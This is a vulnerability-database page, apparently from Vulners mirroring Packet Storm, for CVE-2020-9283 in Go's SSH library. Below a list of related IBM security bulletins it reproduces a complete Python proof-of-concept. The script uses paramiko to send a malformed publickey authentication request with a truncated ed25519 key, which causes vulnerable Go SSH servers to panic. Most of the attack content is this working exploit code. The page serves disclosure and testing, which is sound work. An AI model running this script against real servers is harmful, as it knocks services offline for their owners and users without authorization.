Lucene search
K

Go SSH 0.0.2 Denial Of Service

🗓️ 23 Feb 2020 00:00:00Reported by Mark AdamsType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 81 Views

Go SSH 0.0.2 Denial Of Service PoC may crash remote SSH server if vulnerabl

Related
Code
ReporterTitlePublishedViews
Family
IBM Security Bulletins
Security Bulletin: Multiple vulnerabilities in IBM Storage Defender – Data Protect
30 Aug 202317:27
ibm
IBM Security Bulletins
Security Bulletin: IBM Watson Discovery for IBM Cloud Pak for Data affected by vulnerability in Go
29 Aug 202008:59
ibm
IBM Security Bulletins
Security Bulletin: IBM Cloud Pak for Security includes components with multiple known vulnerabilities
8 Jun 202321:56
ibm
IBM Security Bulletins
Security Bulletin: Multiple vulnerabilities in IBM Storage Defender – Data Protect
26 Mar 202503:57
ibm
IBM Security Bulletins
Security Bulletin: GO is is vulnerable to a denial of service on IBM Watson Machine Learning on CP4D
3 May 202115:17
ibm
IBM Security Bulletins
Security Bulletin: A vulnerability exists in golang x/crypto (CVE-2020-9283) which is consumed by IBM CICS TX Standard
14 Feb 202321:14
ibm
IBM Security Bulletins
Security Bulletin: Security vulnerabilities in Go affect IBM Cloud Pak for Multicloud Management Hybrid GRC.
4 Feb 202121:36
ibm
IBM Security Bulletins
Security Bulletin: Multiple vulnerabilities affect IBM® Db2® On Openshift and IBM® Db2® and Db2 Warehouse® on Cloud Pak for Data
29 Jun 202217:05
ibm
IBM Security Bulletins
Security Bulletin: IBM CICS TX Standard is vulnerable to multiple vulnerabilities in Golang Go.
14 Feb 202321:14
ibm
IBM Security Bulletins
Security Bulletin: A vulnerability exists in golang x/crypto (CVE-2020-9283) which is consumed by IBM CICS TX Advanced
14 Feb 202321:04
ibm
Rows per page
`# Exploit Title: Go SSH servers 0.0.2 - Denial of Service (PoC)  
# Author: Mark Adams  
# Date: 2020-02-21  
# Link: https://github.com/mark-adams/exploits/blob/master/CVE-2020-9283/poc.py  
# CVE: CVE-2020-9283  
#  
# Running this script may crash the remote SSH server if it is vulnerable.  
# The GitHub repository contains a vulnerable and fixed SSH server for testing.  
#  
# $ python poc.py  
# ./poc.py <host> <port> <user>  
#  
# $ python poc.py localhost 2022 root  
# Malformed auth request sent. This should cause a panic on the remote server.  
#  
  
#!/usr/bin/env python  
  
import socket  
import sys  
  
import paramiko  
from paramiko.common import cMSG_SERVICE_REQUEST, cMSG_USERAUTH_REQUEST  
  
if len(sys.argv) != 4:  
print('./poc.py <host> <port> <user>')  
sys.exit(1)  
  
host = sys.argv[1]  
port = int(sys.argv[2])  
user = sys.argv[3]  
  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sock.connect((host, port))  
  
t = paramiko.Transport(sock)  
t.start_client()  
  
t.lock.acquire()  
m = paramiko.Message()  
m.add_byte(cMSG_SERVICE_REQUEST)  
m.add_string("ssh-userauth")  
t._send_message(m)  
  
m = paramiko.Message()  
m.add_byte(cMSG_USERAUTH_REQUEST)  
m.add_string(user)  
m.add_string("ssh-connection")  
m.add_string('publickey')  
m.add_boolean(True)  
m.add_string('ssh-ed25519')  
  
# Send an SSH key that is too short (ed25519 keys are 32 bytes)  
m.add_string(b'\x00\x00\x00\x0bssh-ed25519\x00\x00\x00\x15key-that-is-too-short')  
  
# Send an empty signature (the server won't get far enough to validate it)  
m.add_string(b'\x00\x00\x00\x0bssh-ed25519\x00\x00\x00\x00')  
  
t._send_message(m)  
  
print('Malformed auth request sent. This should cause a panic on the remote server.')  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Feb 2020 00:00Current
7.8High risk
Vulners AI Score7.8
EPSS0.18682
81